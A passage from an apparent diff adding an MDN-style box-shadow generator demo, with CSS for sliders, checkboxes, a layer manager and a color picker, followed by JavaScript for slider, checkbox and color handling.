+ user-select: none;
+}
+
+.slidergroup * {
+ float: left;
+ height: 100%;
+ line-height: 100%;
+}
+
+/* Slider */
+
+.ui-slider {
+ height: 10px;
+ width: 200px;
+ margin: 4px 10px;
+ display: block;
+ border: 1px solid #999;
+ border-radius: 3px;
+ background: #EEE;
+}
+
+.ui-slider:hover {
+ cursor: pointer;
+}
+
+.ui-slider-name {
+ width: 90px;
+ padding: 0 10px 0 0;
+ text-align: right;
+ text-transform: lowercase;
+}
+
+.ui-slider-pointer {
+ width: 13px;
+ height: 13px;
+ background-color: #EEE;
+ border: 1px solid #2C9FC9;
+ border-radius: 3px;
+ position: relative;
+ top: -3px;
+ left: 0%;
+}
+
+.ui-slider-btn-set {
+ width: 25px;
+ background-color: #2C9FC9;
+ border-radius: 3px;
+ color: #FFF;
+ font-weight: bold;
+ text-align: center;
+}
+
+.ui-slider-btn-set:hover {
+ background-color: #379B4A;
+ cursor: pointer;
+}
+
+.ui-slider-input &gt; input {
+ margin: 0 10px;
+ padding: 0;
+ width: 50px;
+ text-align: center;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+}
+
+/*
+ * UI Button
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+ text-align: center;
+ font-size: 16px;
+ font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+ line-height: 1.5em;
+ color: #FFF;
+
+ -moz-user-select: none;
+ -webkit-user-select: none;
+ -ms-user-select: none;
+ user-select: none;
+}
+
+.ui-checkbox &gt; input {
+ display: none;
+}
+
+.ui-checkbox &gt; label {
+ font-size: 12px;
+ padding: 0.333em 1.666em 0.5em;
+ height: 1em;
+ line-height: 1em;
+
+ background-color: #888;
+ background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+ background-position: center center;
+ background-repeat: no-repeat;
+
+ color: #FFF;
+ border-radius: 3px;
+ font-weight: bold;
+ float: left;
+}
+
+.ui-checkbox .text {
+ padding-left: 34px;
+ background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+ padding-right: 34px;
+ padding-left: 1.666em;
+ background-position: center right 10px;
+}
+
+.ui-checkbox &gt; label:hover {
+ cursor: pointer;
+}
+
+.ui-checkbox &gt; input:checked + label {
+ background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+ background-color: #379B4A;
+}
+
+/*
+ * BOX SHADOW GENERATOR TOOL
+ */
+
+body {
+ max-width: 1000px;
+ height: 800px;
+ margin: 20px auto 0;
+
+ font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+
+ -moz-user-select: none;
+ -webkit-user-select: none;
+ -ms-user-select: none;
+}
+
+#container {
+ width: 100%;
+ padding: 2px;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+}
+
+
+/* container with shadows stacks */
+#stack_container {
+ height: 400px;
+ overflow: hidden;
+ position: relative;
+ border: 1px solid #CCC;
+ border-radius: 3px;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+}
+
+#stack_container .container {
+ height: 100%;
+ width: 100%;
+ position: absolute;
+ left: 100%;
+ transition-property: left;
+ transition-duration: 0.5s;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+}
+
+
+#stack_container .title {
+ text-align: center;
+ font-weight: bold;
+ line-height: 2em;
+ border-bottom: 1px solid #43A6E1;
+ color: #666;
+}
+
+
+/*
+ * Stack of Layers for shadow
+ */
+
+#layer_manager {
+ width: 17%;
+ background-color: #FEFEFE;
+ margin: 0 1% 0 0;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+ float: left;
+}
+
+
+#layer_manager .button {
+ width: 30%;
+ height: 25px;
+ margin:0 0 10px;
+ color: #333;
+ background-color: #EEE;
+ text-align: center;
+ font-size: 0.75em;
+ line-height: 1.5em;
+ border: 1px solid #CCC;
+ border-radius: 3px;
+
+ display: block;
+ background-position: center center;
+ background-repeat: no-repeat;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+ float: left;
+}
+
+#layer_manager .button:hover {
+ background-color: #3380C4;
+ border: 1px solid #3380C4;
+ cursor: pointer;
+}
+
+#layer_manager [data-type='add'] {
+ background-image: url("https://mdn.mozillademos.org/files/5685/add-black.png");
+}
+
+#layer_manager [data-type='add']:hover {
+ background-image: url("https://mdn.mozillademos.org/files/5687/add-white.png");
+}
+
+#layer_manager [data-type='move-up'] {
+ background-image: url("https://mdn.mozillademos.org/files/5697/up-black.png");
+ margin-left: 5%;
+ margin-right: 5%;
+}
+
+#layer_manager [data-type='move-up']:hover {
+ background-image: url("https://mdn.mozillademos.org/files/5709/up-white.png");
+}
+
+#layer_manager [data-type='move-down'] {
+ background-image: url("https://mdn.mozillademos.org/files/5693/down-black.png");
+}
+
+#layer_manager [data-type='move-down']:hover {
+ background-image: url("https://mdn.mozillademos.org/files/5695/down-white.png");
+}
+
+/* shadows classes */
+
+#layer_manager .node {
+ width: 100%;
+ margin: 5px 0;
+ padding: 5px;
+ text-align: center;
+ background-color: #EEE;
+ border: 1px solid #DDD;
+ font-size: 0.75em;
+ line-height: 1.5em;
+ color: #333;
+ border-radius: 3px;
+
+ position: relative;
+ display: block;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+}
+
+#layer_manager .node:hover {
+ color: #FFF;
+ background-color: #3380C4;
+ cursor: pointer;
+}
+
+/* active element styling */
+
+#layer_manager [data-active='layer'] {
+ color: #FFF;
+ border: none;
+ background-color: #379B4A;
+}
+
+#layer_manager [data-active='subject'] {
+ color: #FFF;
+ background-color: #467FC9;
+}
+
+/* delete button */
+
+#layer_manager .delete {
+ width: 1.5em;
+ height: 100%;
+ float: right;
+ border-radius: 3px;
+ background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
+ background-position: center center;
+ background-repeat: no-repeat;
+ position: absolute;
+ top: 0;
+ right: 10px;
+ display: none;
+}
+
+#layer_manager .delete:hover {
+ background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
+}
+
+#layer_manager .node:hover .delete {
+ display: block;
+}
+
+
+#layer_manager .stack {
+ padding: 0 5px;
+ max-height: 90%;
+ overflow: auto;
+ overflow-x: hidden;
+}
+
+
+/*
+ * Layer Menu
+ */
+
+#layer_menu {
+ margin: 0 0 10px 0;
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+}
+
+#layer_menu .button {
+ width: 100px;
+ margin: 0 5px 0 0;
+ padding: 2.5px;
+ color: #333;
+ background-color: #EEE;
+ border: 1px solid #CCC;
+ border-radius: 3px;
+ text-align: center;
+ font-size: 0.75em;
+ line-height: 1.5em;
+
+ position: relative;
+ display: block;
+ float: left;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+}
+
+#layer_menu .button:hover {
+ color: #FFF;
+ background-color: #3380C4;
+ border: 1px solid #3380C4;
+ cursor: pointer;
+}
+
+#layer_menu .delete {
+ width: 1.5em;
+ height: 100%;
+ float: right;
+ border-radius: 3px;
+ background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
+ background-position: center center;
+ background-repeat: no-repeat;
+ position: absolute;
+ top: 0;
+ right: 5px;
+ display: none;
+}
+
+#layer_menu .delete:hover {
+ background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
+}
+
+#layer_menu .button:hover .delete {
+ display: block;
+}
+
+
+/*
+ * active element styling
+ */
+
+#layer_menu [data-active='subject'] {
+ color: #FFF;
+ background-color: #379B4A;
+ border: 1px solid #379B4A;
+}
+
+
+/* Checkbox */
+
+#layer_menu .ui-checkbox &gt; label {
+ height: 15px;
+ line-height: 17px;
+ font-weight: normal;
+ width: 46px;
+ margin: 0 5px 0 0;
+}
+
+#layer_menu .ui-checkbox &gt; input:checked + label {
+ display: none;
+}
+
+
+/******************************************************************************/
+/******************************************************************************/
+/*
+ * Preview Area
+ */
+
+#preview_zone {
+ width: 82%;
+ float: left;
+
+}
+
+
+#preview {
+ width: 100%;
+ height: 400px;
+ border: 1px solid #CCC;
+ border-radius: 3px;
+ text-align: center;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+ cursor: move;
+ float: left;
+}
+
+#preview .content {
+ width: 100%;
+ height: 100%;
+ display: block;
+}
+
+#obj-element {
+ width: 300px;
+ height: 100px;
+ border: 1px solid #CCC;
+ background: #FFF;
+ position: relative;
+}
+
+
+#obj-before {
+ height: 100%;
+ width: 100%;
+ background: #999;
+ border: 1px solid #CCC;
+ text-align: left;
+ display : block;
+ position: absolute;
+ z-index: -1;
+}
+
+#obj-after {
+ height: 100%;
+ width: 100%;
+ background: #DDD;
+ border: 1px solid #CCC;
+ text-align: right;
+ display : block;
+ position: absolute;
+ z-index: -1;
+}
+
+
+/******************************************************************************/
+/******************************************************************************/
+
+/**
+ * Controls
+ */
+
+.wrap-left {
+ float: left;
+ overflow: hidden;
+}
+
+.wrap-right {
+ float: right;
+ overflow: hidden;
+}
+
+.wrap-left &gt; * {
+ float: left;
+}
+
+.wrap-right &gt; * {
+ float: right;
+}
+
+@media (min-width: 960px) {
+
+ .wrap-left {
+ width: 45%;
+ }
+
+ .wrap-right {
+ width: 55%;
+ }
+}
+
+
+@media (max-width: 959px) {
+
+ .wrap-left {
+ width: 30%;
+ }
+
+ .wrap-right {
+ width: 70%;
+ }
+}
+
+
+#controls {
+ color: #444;
+ margin: 10px 0 0 0;
+}
+
+
+#controls .category {
+ width: 500px;
+ margin: 0 auto 20px;
+ padding: 0;
+
+}
+
+#controls .category .title {
+ width: 100%;
+ height: 1.5em;
+ line-height: 1.5em;
+ color: #AAA;
+ text-align: right;
+}
+
+#controls .category &gt; .group {
+ border: 1px solid #CCC;
+ border-radius: 3px;
+}
+
+
+/**
+ * Color Picker
+ */
+
+@media (min-width: 960px) {
+ #controls .colorpicker {
+ width: 420px;
+ }
+}
+
+@media (max-width: 959px) {
+ #controls .colorpicker {
+ width: 210px;
+ }
+}
+
+#colorpicker {
+ width: 100%;
+ margin: 0 auto;
+}
+
+#colorpicker .gradient {
+ width: 200px;
+ height: 200px;
+ margin: 5px;
+ background: url("https://mdn.mozillademos.org/files/5707/picker_mask_200.png");
+ background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+ -moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+ background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+ -webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+ background-color: #F00;
+ float: left;
+}
+
+#colorpicker .hue {
+ width: 200px;
+ height: 30px;
+ margin: 5px;
+ background: url("https://mdn.mozillademos.org/files/5701/hue.png");
+ background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+ #00F 66.66%, #F0F 83.33%, #F00 100%);
+ background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+ #00F 66.66%, #F0F 83.33%, #F00 100%);
+ float: left;
+}
+
+#colorpicker .alpha {
+ width: 200px;
+ height: 30px;
+ margin: 5px;
+ border: 1px solid #CCC;
+ float: left;
+ background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+}
+
+#colorpicker #alpha {
+ width: 100%;
+ height: 100%;
+ background: url("https://mdn.mozillademos.org/files/5703/alpha_mask.png");
+ background: -moz-linear-gradient(left, rgba(255, 0, 0, 0) 0%, rgba(255, 0, 0, 1) 100%);
+}
+
+#colorpicker #gradient_picker {
+ width: 0.5em;
+ height: 0.5em;
+ border-radius: 0.4em;
+ border: 2px solid #CCC;
+ position: relative;
+ top: 20%;
+ left: 20%;
+}
+
+#colorpicker #hue_selector,
+#colorpicker #alpha_selector {
+ width: 3px;
+ height: 100%;
+ border: 1px solid #777;
+ background-color: #FFF;
+ position: relative;
+ top: -1px;
+ left: 0%;
+}
+
+/* input HSV and RGB */
+#colorpicker .info {
+ width: 200px;
+ margin: 5px;
+ float: left;
+}
+
+#colorpicker .info * {
+ float: left;
+}
+
+#colorpicker .info input {
+ margin: 0;
+ text-align: center;
+ width: 30px;
+ -moz-user-select: text;
+ -webkit-user-select: text;
+ -ms-user-select: text;
+}
+
+#colorpicker .info span {
+ height: 20px;
+ width: 30px;
+ text-align: center;
+ line-height: 20px;
+ display: block;
+}
+
+/* Preview color */
+#colorpicker .block {
+ width: 95px;
+ height: 54px;
+ float: left;
+ position: relative;
+}
+
+#colorpicker .preview {
+ margin: 5px;
+ border: 1px solid #CCC;
+ background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+}
+
+#colorpicker .preview:before {
+ height: 100%;
+ width: 50%;
+ left: 50%;
+ content: "";
+ background: #FFF;
+ position: absolute;
+ z-index: 1;
+}
+
+#colorpicker .preview &gt; * {
+ width: 50%;
+ height: 100%;
+}
+
+#colorpicker #output_color {
+ width: 100%;
+ height: 100%;
+ position: absolute;
+ z-index: 2;
+}
+
+#colorpicker .block .input {
+ float: right;
+}
+
+#colorpicker [data-topic="a"] &gt; span {
+ width: 50px;
+}
+
+#colorpicker [data-topic="hexa"] {
+ float: right;
+ margin: 10px 0 0 0;
+}
+
+#colorpicker [data-topic="hexa"] &gt; span {
+ display: none;
+}
+
+#colorpicker [data-topic="hexa"] &gt; input {
+ width: 85px;
+ padding: 2px 0;
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+}
+
+
+/*
+ * UI Components
+ */
+
+/* Property */
+
+.property {
+ height: 20px;
+ margin: 10px 0;
+}
+
+.property * {
+ float: left;
+ height: 100%;
+ line-height: 100%;
+}
+
+/* Slider */
+
+#controls .ui-slider-name {
+ margin: 0 10px 0 0;
+}
+
+/*
+ * Output code styling
+ */
+
+#output {
+ position: relative;
+}
+
+#output .menu {
+ max-width: 70%;
+ height: 20px;
+ position: absolute;
+ top: 2px;
+}
+
+#output .button {
+ width: 90px;
+ height: 22px;
+ margin: 0 5px 0 0;
+ text-align: center;
+ line-height: 20px;
+ font-size: 14px;
+ color: #FFF;
+ background-color: #999;
+ border-top-left-radius: 3px;
+ border-top-right-radius: 3px;
+ bottom: -5px;
+ float:left;
+}
+
+#output .button:hover {
+ color: #FFF;
+ background-color: #666;
+ cursor: pointer;
+}
+
+#output .menu [data-active="true"] {
+ color: #777;
+ background-color: #FFF;
+ border: 1px solid #CCC;
+ border-bottom: none;
+}
+
+#output .menu [data-topic="before"] {
+ left: 100px;
+}
+
+#output .menu [data-topic="after"] {
+ left: 200px;
+}
+
+#output .output {
+ width: 480px;
+ margin: 10px;
+ padding: 10px;
+ overflow: hidden;
+ color: #555;
+ font-size: 14px;
+ border: 1px dashed #CCC;
+ border-radius: 3px;
+ display: none;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+
+ -moz-user-select: text;
+ -webkit-user-select: text;
+ -ms-user-select: text;
+}
+
+#output .css-property {
+ width: 100%;
+ float: left;
+ white-space: pre;
+}
+
+#output .name {
+ width: 35%;
+ float: left;
+}
+
+#output .value {
+ width: 65%;
+ float: left;
+}
+
+</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js"><code class="language-js">
+
+'use strict';
+
+/**
+ * UI-SlidersManager
+ */
+
+var SliderManager = (function SliderManager() {
+
+ var subscribers = {};
+ var sliders = [];
+
+ var Slider = function(node) {
+ var min = node.getAttribute('data-min') | 0;
+ var max = node.getAttribute('data-max') | 0;
+ var step = node.getAttribute('data-step') | 0;
+ var value = node.getAttribute('data-value') | 0;
+ var snap = node.getAttribute('data-snap');
+ var topic = node.getAttribute('data-topic');
+
+ this.min = min;
+ this.max = max &gt; 0 ? max : 100;
+ this.step = step === 0 ? 1 : step;
+ this.value = value &lt;= max &amp;&amp; value &gt;= min ? value : (min + max) / 2 | 0;
+ this.snap = snap === "true" ? true : false;
+ this.topic = topic;
+ this.node = node;
+
+ var pointer = document.createElement('div');
+ pointer.className = 'ui-slider-pointer';
+ node.appendChild(pointer);
+ this.pointer = pointer;
+
+ setMouseTracking(node, updateSlider.bind(this));
+
+ sliders[topic] = this;
+ setValue(topic, this.value);
+ }
+
+ var setButtonComponent = function setButtonComponent(node) {
+ var type = node.getAttribute('data-type');
+ var topic = node.getAttribute('data-topic');
+ if (type === "sub") {
+ node.textContent = '-';
+ node.addEventListener("click", function() {
+ decrement(topic);
+ });
+ }
+ if (type === "add") {
+ node.textContent = '+';
+ node.addEventListener("click", function() {
+ increment(topic);
+ });
+ }
+ }
+
+ var setInputComponent = function setInputComponent(node) {
+ var topic = node.getAttribute('data-topic');
+ var unit_type = node.getAttribute('data-unit');
+
+ var input = document.createElement('input');
+ var unit = document.createElement('span');
+ unit.textContent = unit_type;
+
+ input.setAttribute('type', 'text');
+ node.appendChild(input);
+ node.appendChild(unit);
+
+ input.addEventListener('click', function(e) {
+ this.select();
+ });
+
+ input.addEventListener('change', function(e) {
+ setValue(topic, e.target.value | 0);
+ });
+
+ subscribe(topic, function(value) {
+ node.children[0].value = value;
+ });
+ }
+
+ var increment = function increment(topic) {
+ var slider = sliders[topic];
+ if (slider === null || slider === undefined)
+ return;
+
+ if (slider.value + slider.step &lt;= slider.max) {
+ slider.value += slider.step;
+ setValue(slider.topic, slider.value)
+ notify.call(slider);
+ }
+ };
+
+ var decrement = function decrement(topic) {
+ var slider = sliders[topic];
+ if (slider === null || slider === undefined)
+ return;
+
+ if (slider.value - slider.step &gt;= slider.min) {
+ slider.value -= slider.step;
+ setValue(topic, slider.value)
+ notify.call(slider);
+ }
+ }
+
+ // this = Slider object
+ var updateSlider = function updateSlider(e) {
+ var node = this.node;
+ var pos = e.pageX - node.offsetLeft;
+ var width = node.clientWidth;
+ var delta = this.max - this.min;
+ var offset = this.pointer.clientWidth + 4; // border width * 2
+
+ if (pos &lt; 0) pos = 0;
+ if (pos &gt; width) pos = width;
+
+ var value = pos * delta / width | 0;
+ var precision = value % this.step;
+ value = value - precision + this.min;
+ if (precision &gt; this.step / 2)
+ value = value + this.step;
+
+ if (this.snap)
+ pos = (value - this.min) * width / delta;
+
+ this.pointer.style.left = pos - offset/2 + "px";
+ this.value = value;
+ node.setAttribute('data-value', value);
+ notify.call(this);
+ }
+
+ var setValue = function setValue(topic, value) {
+ var slider = sliders[topic];
+
+ if (value &gt; slider.max || value &lt; slider.min)
+ return;
+
+ var delta = slider.max - slider.min;
+ var width = slider.node.clientWidth;
+ var offset = slider.pointer.clientWidth;
+ var pos = (value - slider.min) * width / delta;
+ slider.value = value;
+ slider.pointer.style.left = pos - offset / 2 + "px";
+ slider.node.setAttribute('data-value', value);
+ notify.call(slider);
+ }
+
+ var setMouseTracking = function setMouseTracking(elem, callback) {
+ elem.addEventListener("mousedown", function(e) {
+ callback(e);
+ document.addEventListener("mousemove", callback);
+ });
+
+ document.addEventListener("mouseup", function(e) {
+ document.removeEventListener("mousemove", callback);
+ });
+ }
+
+ var subscribe = function subscribe(topic, callback) {
+ if (subscribers[topic] === undefined)
+ subscribers[topic] = [];
+ subscribers[topic].push(callback);
+ }
+
+ var unsubscribe = function unsubscribe(topic, callback) {
+ subscribers[topic].indexOf(callback);
+ subscribers[topic].splice(index, 1);
+ }
+
+ var notify = function notify() {
+ if (subscribers[this.topic] === undefined)
+ return;
+
+ for (var i in subscribers[this.topic]) {
+ subscribers[this.topic][i](this.value);
+ }
+ }
+
+ var init = function init() {
+ var elem, size;
+
+ elem = document.querySelectorAll('.ui-slider-btn-set');
+ size = elem.length;
+ for (var i = 0; i &lt; size; i++)
+ setButtonComponent(elem[i]);
+
+ elem = document.querySelectorAll('.ui-slider-input');
+ size = elem.length;
+ for (var i = 0; i &lt; size; i++)
+ setInputComponent(elem[i]);
+
+ elem = document.querySelectorAll('.ui-slider');
+ size = elem.length;
+ for (var i = 0; i &lt; size; i++)
+ new Slider(elem[i]);
+ }
+
+ return {
+ init : init,
+ setValue : setValue,
+ subscribe : subscribe,
+ unsubscribe : unsubscribe
+ }
+
+})();
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+ var subscribers = [];
+ var buttons = [];
+
+ var CheckBox = function CheckBox(node) {
+ var topic = node.getAttribute('data-topic');
+ var state = node.getAttribute('data-state');
+ var name = node.getAttribute('data-label');
+ var align = node.getAttribute('data-text-on');
+
+ state = (state === "true");
+
+ var checkbox = document.createElement("input");
+ var label = document.createElement("label");
+
+ var id = 'checkbox-' + topic;
+ checkbox.id = id;
+ checkbox.setAttribute('type', 'checkbox');
+ checkbox.checked = state;
+
+ label.setAttribute('for', id);
+ if (name) {
+ label.className = 'text';
+ if (align)
+ label.className += ' ' + align;
+ label.textContent = name;
+ }
+
+ node.appendChild(checkbox);
+ node.appendChild(label);
+
+ this.node = node;
+ this.topic = topic;
+ this.checkbox = checkbox;
+
+ checkbox.addEventListener('change', function(e) {
+ notify.call(this);
+ }.bind(this));
+
+ buttons[topic] = this;
+ }
+
+ var getNode = function getNode(topic) {
+ return buttons[topic].node;
+ }
+
+ var setValue = function setValue(topic, value) {
+ try {
+ buttons[topic].checkbox.checked = value;
+ notify.call(buttons[topic]);
+ }
+ catch(error) {
+ console.log(error, topic, value);
+ }
+ }
+
+ var subscribe = function subscribe(topic, callback) {
+ if (subscribers[topic] === undefined)
+ subscribers[topic] = [];
+
+ subscribers[topic].push(callback);
+ }
+
+ var unsubscribe = function unsubscribe(topic, callback) {
+ subscribers[topic].indexOf(callback);
+ subscribers[topic].splice(index, 1);
+ }
+
+ var notify = function notify() {
+ if (subscribers[this.topic] === undefined)
+ return;
+ for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+ subscribers[this.topic][i](this.checkbox.checked);
+ }
+
+ var init = function init() {
+ var elem = document.querySelectorAll('.ui-checkbox');
+ var size = elem.length;
+ for (var i = 0; i &lt; size; i++)
+ new CheckBox(elem[i]);
+ }
+
+ return {
+ init : init,
+ setValue : setValue,
+ subscribe : subscribe,
+ unsubscribe : unsubscribe
+ }
+
+})();
+
+
+window.addEventListener("load", function(){
+ BoxShadow.init();
+});
+
+var BoxShadow = (function BoxShadow() {
+
+ function getElemById(id) {
+ return document.getElementById(id);
+ }
+
+ /**
+ * RGBA Color class
+ */
+
+ function Color() {
+ this.r = 0;
+ this.g = 0;
+ this.b = 0;
+ this.a = 1;
+ this.hue = 0;
+ this.saturation = 0;
+ this.value = 0;
+ }
+
+ Color.prototype.copy = function copy(obj) {
+ if(obj instanceof Color !== true) {
+ console.log("Typeof instance not Color");
+ return;
+ }
+
+ this.r = obj.r;
+ this.g = obj.g;
+ this.b = obj.b;
+ this.a = obj.a;
+ this.hue = obj.hue;
+ this.saturation = obj.saturation;
+ this.value = obj.value;
+ }
+
+ Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
+ if (red != undefined)
+ this.r = red | 0;
+ if (green != undefined)
+ this.g = green | 0;
+ if (blue != undefined)
+ this.b = blue | 0;
+ if (alpha != undefined)
+ this.a = alpha | 0;
+ }
+
+ /**
+ * HSV/HSB (hue, saturation, value / brightness)
+ * @param hue 0-360
+ * @param saturation 0-100
+ * @param value 0-100
+ */
+ Color.prototype.setHSV = function setHSV(hue, saturation, value) {
+ this.hue = hue;
+ this.saturation = saturation;
+ this.value = value;
+ this.updateRGB();
+ }
+
+ Color.prototype.updateRGB = function updateRGB() {
+ var sat = this.saturation / 100;
+ var value = this.value / 100;
+ var C = sat * value;
+ var H = this.hue / 60;
+ var X = C * (1 - Math.abs(H % 2 - 1));
+ var m = value - C;
+ var precision = 255;
+
+ C = (C + m) * precision;
+ X = (X + m) * precision;
+ m = m * precision;
+
+ if (H &gt;= 0 &amp;&amp; H &lt; 1) { this.setRGBA(C, X, m); return; }
+ if (H &gt;= 1 &amp;&amp; H &lt; 2) { this.setRGBA(X, C, m); return; }
+ if (H &gt;= 2 &amp;&amp; H &lt; 3) { this.setRGBA(m, C, X); return; }
+ if (H &gt;= 3 &amp;&amp; H &lt; 4) { this.setRGBA(m, X, C); return; }
+ if (H &gt;= 4 &amp;&amp; H &lt; 5) { this.setRGBA(X, m, C); return; }
+ if (H &gt;= 5 &amp;&amp; H &lt; 6) { this.setRGBA(C, m, X); return; }
+ }
+
+ Color.prototype.updateHSV = function updateHSV() {
+ var red = this.r / 255;
+ var green = this.g / 255;
+ var blue = this.b / 255;
+
+ var cmax = Math.max(red, green, blue);
+ var cmin = Math.min(red, green, blue);
+ var delta = cmax - cmin;
+ var hue = 0;
+ var saturation = 0;
+
+ if (delta) {
+ if (cmax === red ) { hue = ((green - blue) / delta); }
+ if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+ if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+ if (cmax) saturation = delta / cmax;
+ }
+
+ this.hue = 60 * hue | 0;
+ if (this.hue &lt; 0) this.hue += 360;
+ this.saturation = (saturation * 100) | 0;
+ this.value = (cmax * 100) | 0;
+ }
+
+ Color.prototype.setHexa = function setHexa(value) {
+ var valid = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value)
+ if (valid !== true)
+ return;
+
+ if (value[0] === '#')
+ value = value.slice(1, value.length);
+
+ if (value.length === 3)
+ value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,"$1$1$2$2$3$3");
+
+ this.r = parseInt(value.substr(0, 2), 16);
+ this.g = parseInt(value.substr(2, 2), 16);
+ this.b = parseInt(value.substr(4, 2), 16);
+
+ this.alpha = 1;
+ }
+
+ Color.prototype.getHexa = function getHexa() {
+ var r = this.r.toString(16);
+ var g = this.g.toString(16);
+ var b = this.b.toString(16);
+ if (this.r &lt; 16) r = '0' + r;
+ if (this.g &lt; 16) g = '0' + g;
+ if (this.b &lt; 16) b = '0' + b;
+ var value = '#' + r + g + b;
+ return value.toUpperCase();
+ }
+
+ Color.prototype.getRGBA = function getRGBA() {
+
+ var rgb = "(" + this.r + ", " + this.g + ", " + this.b;
+ var a = '';
+ var v = '';
+ if (this.a !== 1) {
+ a = 'a';
+ v = ', ' + this.a;
+ }
+
+ var value = "rgb" + a + rgb + v + ")";
+ return value;
+ }
+
+ Color.prototype.getColor = function getColor() {
+ if (this.a | 0 === 1)
+ return this.getHexa();
+ return this.getRGBA();
+ }
+
+ /**
+ * Shadow Object
+ */
+ function Shadow() {
+ this.inset = false;
+ this.posX = 5;
+ this.posY = -5;
+ this.blur = 5;
+ this.spread = 0;
+ this.color = new Color();
+
+ var hue = (Math.random() * 360) | 0;
+ var saturation = (Math.random() * 75) | 0;
+ var value = (Math.random() * 50 + 50) | 0;
+ this.color.setHSV(hue, saturation, value, 1);
+ }
+
+ Shadow.prototype.computeCSS = function computeCSS() {
+ var value = "";
+ if (this.inset === true)
+ value += "inset ";
+ value += this.posX + "px ";
+ value += this.posY + "px ";
+ value += this.blur + "px ";
+ value += this.spread + "px ";
+ value += this.color.getColor();
+
+ return value;
+ }
+
+ Shadow.prototype.toggleInset = function toggleInset(value) {
+ if (value !== undefined || typeof value === "boolean")
+ this.inset = value;
+ else
+ this.inset = this.inset === true ? false : true;
+ }
+
+ Shadow.prototype.copy = function copy(obj) {
+ if(obj instanceof Shadow !== true) {
+ console.log("Typeof instance not Shadow");
+ return;
+ }
+
+ this.inset = obj.inset;
+ this.posX = obj.posX;
+ this.posY = obj.posY;
+ this.blur = obj.blur;
+ this.spread = obj.spread;
+ this.color.copy(obj.color);
+ }
+
+ /**
+ * Color Picker
+ */
+ var ColoPicker = (function ColoPicker() {
+
+ var colorpicker;
+ var hue_area;
+ var gradient_area;
+ var alpha_area;
+ var gradient_picker;
+ var hue_selector;
+ var alpha_selector;
+ var pick_object;
+ var info_rgb;
+ var info_hsv;
+ var info_hexa;
+ var output_color;
+ var color = new Color();
+ var subscribers = [];
+
+ var updateColor = function updateColor(e) {
+ var x = e.pageX - gradient_area.offsetLeft;
+ var y = e.pageY - gradient_area.offsetTop;
+
+ // width and height should be the same
+ var size = gradient_area.clientWidth;
+
+ if (x &gt; size)
+ x = size;
+ if (y &gt; size)
+ y = size;
+
+ if (x &lt; 0) x = 0;
+ if (y &lt; 0) y = 0;
+
+ var value = 100 - (y * 100 / size) | 0;
+ var saturation = x * 100 / size | 0;
+
+ color.setHSV(color.hue, saturation, value);
+ // should update just
+ // color pointer location
+ updateUI();
+ notify("color", color);
+ }
+
+ var updateHue = function updateHue(e) {
+ var x = e.pageX - hue_area.offsetLeft;
+ var width = hue_area.clientWidth;
+
+ if (x &lt; 0) x = 0;
+ if (x &gt; width) x = width;
+
+ var hue = ((360 * x) / width) | 0;
+ if (hue === 360) hue = 359;
+
+ color.setHSV(hue, color.saturation, color.value);
+
+ // should update just
+ // hue pointer location
+ // picker area background
+ // alpha area background
+ updateUI();
+ notify("color", color);
+ }
+
+ var updateAlpha = function updateAlpha(e) {
+ var x = e.pageX - alpha_area.offsetLeft;
+ var width = alpha_area.clientWidth;
+
+ if (x &lt; 0) x = 0;
+ if (x &gt; width) x = width;
+
+ color.a = (x / width).toFixed(2);
+
+ // should update just
+ // alpha pointer location
+ updateUI();
